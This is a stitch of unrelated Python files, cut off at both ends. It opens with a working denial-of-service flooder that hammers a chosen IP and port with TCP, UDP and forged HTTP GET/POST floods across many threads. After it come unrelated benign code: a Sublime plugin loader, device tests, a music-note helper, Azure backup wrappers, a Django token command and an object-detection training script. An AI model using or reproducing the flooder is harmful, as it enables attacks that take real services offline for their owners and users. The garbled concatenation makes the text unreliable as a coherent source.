s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) s.sendall(str.encode(request)) except socket.error: s.close() def run2(): data = random._urandom(100048) i = random.choice(("[*]","[!]","[#]")) while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((ip,port)) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) for x in range(times): s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) s.send(data) except: s.close() def tcp(): data = random._urandom(650000) i = random.choice(("[Request]","[Bots]","[Strart]","[Timed]","[Out]","[Force]")) d =random.choice(("[Down]","[Downs]")) while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip,port)) s.send(data) for x in range(times): s.send(data) print(i +f" \u001b[34m1PING ¦¦ >> \u001b[31mAttacking on Ip \u001b[32m{ip} \u001b[31mAnd Port \u001b[32m{port} \u001b[34m<<") except: s.close() print(d +f" \u001b[31mServer Down?????!") # UDP def udp(): data = random._urandom(35000) i = random.choice(("[Request]","[Bots]","[Strart]","[Timed]","[Out]","[Force]")) while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) addr = (str(ip),int(port)) for x in range(times): s.sendto(data,addr) print(i +f" \u001b[37mAttacking on Ip \u001b[31m{ip} \u001b[37mAnd Port \u001b[31m{port} \u001b[37m") except: print(i +f" \u001b[34mXZack ¦¦ >> \u001b[31mServer Down?????!. \u001b[34m<<") def get_attack(): global fin_threads while True: try: get_packet = f"GET / HTTP/1.1\r\nHost: {ip}\r\nUser-Agent: {random.choice(useragents)}\r\nReferer: {random.choice(referers)}\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 115\r\nConnection: keep-alive\r\n\r\n".encode('ascii') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((ip, port)) s.sendto(get_packet, (ip, port)) s.shutdown(1) except (socket.error, BrokenPipeError, Exception, BaseException) as err: print("[" + yl + "!" + wi + "] " + yl + "GET-ATTACK:" + wi + " Unable To Connect to Target [" + rd + ip + wi + "]" + yl + " Maybe " + rd + "Down\n" + wi, end='\r') fin_threads += 1 def post_attack(): global fin_threads while True: try: post_packet = f'POST / HTTP/1.1\r\nHost: {ip}\r\nUser-Agent: {random.choice(useragents)}\r\nConnection: keep-alive\r\nKeep-Alive: 900\r\nContent-Length: 10000\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n'.encode("ascii") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((ip, port)) s.send(post_packet) s.send(random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890").encode('ascii')) s.close() except (socket.error, BrokenPipeError, Exception, BaseException) as err: print("[" + yl + "!" + wi + "] " + yl + "POST-ATTACK:" + wi + " Unable To Connect to Target [" + rd + ip + wi + "]" + yl + " Maybe " + rd + "Down\n" + wi, end='\r') fin_threads += 1 def sock_flood(): global fin_threads while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) s.connect((ip, port)) for y in range(80): s.send(random._urandom(600000)) except (socket.error, BrokenPipeError, Exception) as err: print("[" + yl + "!" + wi + "] " + yl + f"TCP-ATTACK:" + wi + " gk bisa konek ke [" + rd + ip + wi + "]" + yl + " munkin " + rd + "Down\n" + wi, end='\r') fin_threads += 1 for y in range(threads): if choice == 'http': th = threading.Thread(target = http) th.start() th = threading.Thread(target = run2) th.start() th = threading.Thread(target = http2) th.start() th = threading.Thread(target = sock_flood) th.start() th = threading.Thread(target = get_attack) th.start() th = threading.Thread(target = post_attack) th.start() elif choice == 'tcp': th = threading.Thread(target = tcp) th.start() else: th = threading.Thread(target = udp) th.start() import sublime, sublime_plugin import sys from os.path import dirname, realpath, expanduser scripts_path = dirname(realpath(__file__)) + "/scripts" isset = False for path in sys.path: if path == scripts_path: isset = True if not isset: sys.path.append(scripts_path) # Import all Scripts from buildCProject import * from newCProject import * from setBuildPathCProject import * from setSingleBuildPathCProject import * from setCompilerCProject import * from setOptionsCProject import * from setSingleOptionsCProject import * from setRunCProject import * from setSingleRunCProject import * from setSourceCProject import * from alterIncludesCProject import * from alterLibrariesCProject import * from alterLibraryPathsCProject import * from alterObjectFilesCProject import * from shortMenuCProject import * from autocompleteCProject import * filintod/pyremotelogin from remotelogin.devices.base import DeviceBase from remotelogin.devices.base_db import Device from remotelogin.devices.settings import DEFAULT_STORAGE_FOLDER from remotelogin.devices.tests.utils import update_db_config from remotelogin.oper_sys.linux import LinuxOS from remotelogin.oper_sys.windows import WindowsOS import os import pytest def test_base(): d = DeviceBase('localhost') assert d.os.__class__ == LinuxOS def test_default_ip(): d = DeviceBase('localhost', default_ip_address='127.0.0.1') assert d.default_ip_address == '127.0.0.1' def test_default_ip_any_ip_type(): d = DeviceBase('localhost') assert d.default_ip_address in ('::1', '127.0.0.1') def test_default_ip_ipv4(): d = DeviceBase('localhost', ip_type='ipv4') assert d.default_ip_address == '127.0.0.1' def test_default_ip_ipv6(): d = DeviceBase('localhost', ip_type='ipv6') assert d.default_ip_address == '::1' def test_base_other_os(): d = DeviceBase('localhost', os_name='Windows') assert d.os.__class__ == WindowsOS def test_base_bad_os(): with pytest.raises(ValueError): d = DeviceBase('localhost', os_name='klWindowssOS') def test_storage_folder(): """ a device will have a folder """ cur_path = os.path.realpath('.') d = DeviceBase('localhost', storage_path=cur_path) assert d.folder == os.path.join(cur_path, 'localhost') def test_storage_folder_default(): """ a device will have a folder """ d = DeviceBase('localhost') assert d.folder == os.path.join(DEFAULT_STORAGE_FOLDER, 'localhost') def test_device_persintence(): update_db_config() cur_path = os.path.realpath('.') d = Device('localhost', storage_path=cur_path) assert d.folder == os.path.join(cur_path, 'localhost') d.save() d2 = Device.get_by_hostname('localhost') assert d2.folder == os.path.join(cur_path, 'localhost') def test_base_other_os_persistence(): update_db_config() d = Device('localhost', os_name='Windows') assert d.os.__class__ == WindowsOS d.save() d2 = Device.get_by_hostname('localhost') assert d2.os.__class__ == WindowsOS def test_default_ip_persistent(): update_db_config() d = Device('localhost', default_ip_address='127.0.0.1') assert d.default_ip_address == '127.0.0.1' d.save() d2 = Device.get_by_hostname('localhost') assert d2.default_ip_address == '127.0.0.1' from math import log SEMITONE = 1.059463 NOTES = ['A', 'A#', 'B', 'C', 'C#', 'D', 'D#', 'E', 'F', 'F#', 'G', 'G#'] def freq_to_note(x): interval = int(round(log(x/440.0, SEMITONE))) % 12 return NOTES[interval] def note_to_freq(n): if n in NOTES: return 440 * (SEMITONE ** NOTES.index(n)) ''' Manage backups for web apps. ''' from .... pyaz_utils import _call_az def list(resource_group, webapp_name, slot=None): ''' List backups of a web app. Required Parameters: - resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=` - webapp_name -- The name of the web app Optional Parameters: - slot -- the name of the slot. Default to the productions slot if not specified ''' return _call_az("az webapp config backup list", locals()) def show(resource_group, webapp_name, slot=None): ''' Show the backup schedule for a web app. Required Parameters: - resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=` - webapp_name -- The name of the web app Optional Parameters: - slot -- the name of the slot. Default to the productions slot if not specified ''' return _call_az("az webapp config backup show", locals()) def create(container_url, resource_group, webapp_name, backup_name=None, db_connection_string=None, db_name=None, db_type=None, slot=None): ''' Create a backup of a web app. Required Parameters: - container_url -- URL with SAS token to the blob storage container - resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=` - webapp_name -- The name of the web app Optional Parameters: - backup_name -- Name of the backup. If unspecified, the backup will be named with the web app name and a timestamp - db_connection_string -- Connection string for the database in the backup - db_name -- Name of the database in the backup - db_type -- Type of database in the backup - slot -- the name of the slot. Default to the productions slot if not specified ''' return _call_az("az webapp config backup create", locals()) def update(resource_group, webapp_name, backup_name=None, container_url=None, db_connection_string=None, db_name=None, db_type=None, frequency=None, retain_one=None, retention=None, slot=None): ''' Configure a new backup schedule for a web app. Required Parameters: - resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=` - webapp_name -- The name of the web app Optional Parameters: - backup_name -- Name of the backup. If unspecified, the backup will be named with the web app name and a timestamp - container_url -- URL with SAS token to the blob storage container - db_connection_string -- Connection string for the database in the backup - db_name -- Name of the database in the backup - db_type -- Type of database in the backup - frequency -- How often to backup. Use a number followed by d or h, e.g. 5d = 5 days, 2h = 2 hours - retain_one -- Always keep one backup, regardless of how old it is - retention -- How many days to keep a backup before automatically deleting it. Set to 0 for indefinite retention - slot -- the name of the slot. Default to the productions slot if not specified ''' return _call_az("az webapp config backup update", locals()) def restore(backup_name, container_url, resource_group, webapp_name, db_connection_string=None, db_name=None, db_type=None, ignore_hostname_conflict=None, overwrite=None, slot=None, target_name=None): ''' Restore a web app from a backup. Required Parameters: - backup_name -- Name of the backup to restore - container_url -- URL with SAS token to the blob storage container - resource_group -- Name of resource group. You can configure the default group using `az configure --defaults group=` - webapp_name -- The name of the web app Optional Parameters: - db_connection_string -- Connection string for the database in the backup - db_name -- Name of the database in the backup - db_type -- Type of database in the backup - ignore_hostname_conflict -- Ignores custom hostnames stored in the backup - overwrite -- Overwrite the source web app, if --target-name is not specified - slot -- the name of the slot. Default to the productions slot if not specified - target_name -- The name to use for the restored web app. If unspecified, will default to the name that was used when the backup was created ''' return _call_az("az webapp config backup restore", locals()) betagouv/data-inclusion0 import logging from rest_framework_simplejwt.tokens import RefreshToken from django.core.management.base import BaseCommand, CommandParser from users.models import User logging.basicConfig(level=logging.INFO) logger = logging.getLogger() class Command(BaseCommand): def add_arguments(self, parser: CommandParser) -> None: parser.add_argument("username", type=str) def handle(self, *args, **options): user = User.objects.get(username=options["username"]) tokens = RefreshToken.for_user(user) logger.info(f"Token created for user {user}") logger.info(tokens.access_token) from __future__ import division from utils.augmentations import SSDAugmentation from models.demo.DSOD_6416 import * from layers.modules import MultiBoxLoss from data import * import torch.nn as nn import collections import os import sys import time import datetime import argparse import torch.nn.init as init import torch import torch.nn.init as init import argparse from torch.autograd import Variable from shutil import copyfile import torch.backends.cudnn as cudnn import torch.optim as optim from shutil import copyfile import copy parser = argparse.ArgumentParser() parser.add_argument('--epoch_set', type=str, default='0, 50', help='start and end number of epochs') parser.add_argument('--voc_root', type=str, default='Pascal_Voc\VOCdevkit', help='path to dataset') parser.add_argument('--voc_set', type=str, default='2007,2012', help='') parser.add_argument('--batch_size', type=int, default=16, help='size of each image batch') parser.add_argument('--resume', type=str, default='weights/xxx.pth', help='trained weights, use None for new') parser.add_argument('--n_cpu', type=int, default=2, help='number of cpu threads to use during batch generation') parser.add_argument('--save_dir', type=str, default='weights/abc', help='path to save checkpoints') parser.add_argument('--log', type=str, default='log/abc.txt', help='path where to save the loss log') parser.add_argument('--cuda', type=bool, default=True, help='whether to use cuda if available') parser.add_argument('--lr', type=float, default=1e-3, help='learning rate') parser.add_argument('--imsize', type=int, default=320, help='the size of input') parser.add_argument('--fine_tune', type=bool, default=False, help='Must edit tune_list when True') parser.add_argument('--optim', type=str, default='Adam', help='SGD, Adam') parser.add_argument('--init', type=bool, default=False, help='Whether init params in fine_tune layers') opt = parser.parse_args() cuda = torch.cuda.is_available() and opt.cuda if cuda: torch.set_default_tensor_type('torch.cuda.FloatTensor') else: torch.set_default_tensor_type('torch.FloatTensor') def check_tune(name, list): r = False for l in list: if name.count(l) > 0: r = True break return r def train(): # # Initiate model num_classes = 21 model = DSOD_64_16(num_classes) fine_tune_param = [] if opt.resume is not None: # model.load_weights(opt.resume) print('Resume training. Loading weights from %s' % opt.resume) if opt.fine_tune: # collections.OrderedDict. dict_from = torch.load(opt.resume) dict_to = model.state_dict() # 'RBF', 'normalize', 'trans1', 'loc_layers', 'cls_layers' tune_list = ['SEblock'] for name, param in model.named_parameters(): if not opt.init: print(name, "Copy weights of tune layers from saved pth") dict_to[name] = dict_from.get(name) if not check_tune(name, tune_list): if opt.init: print(name, "Copy weights for frozen layers.") dict_to[name] = dict_from.get(name) param.requires_grad = False model.load_state_dict(dict_to) print("In fine_tune mode, it will do with :") for name, param in model.named_parameters(): if check_tune(name, tune_list): # print(name) if name.count('normalize') == 0: if opt.init: print(name, 'Init the weights of layers for fine tuning.') if name.count('weight') > 0: if name.count('cls_layers') > 0 or name.count('loc_layers') > 0: nn.init.normal(param, std=0.01) elif len(param.shape) >= 2: nn.init.xavier_normal_(param, gain=nn.init.calculate_gain('relu')) else: nn.init.normal_(param, std=0.01) param.requires_grad = True fine_tune_param.append(param) else: nn.init.constant_(param, 20.0) param.requires_grad = False if name == "normalize.0.weight": print(param) pass else: model.load_state_dict(torch.load(opt.resume), strict=True) for name, param in model.named_parameters(): if name.count('normalize') == 0: param.requires_grad = True fine_tune_param.append(param) else: nn.init.constant_(param, 20.0) print(name) print(param) param.requires_grad = False else: fine_tune_param = model.parameters() if cuda: model = model.cuda() model.train() years = opt.voc_set.split(',') img_sets = [] for y in years: if y == '2007': img_sets.append(('2007', 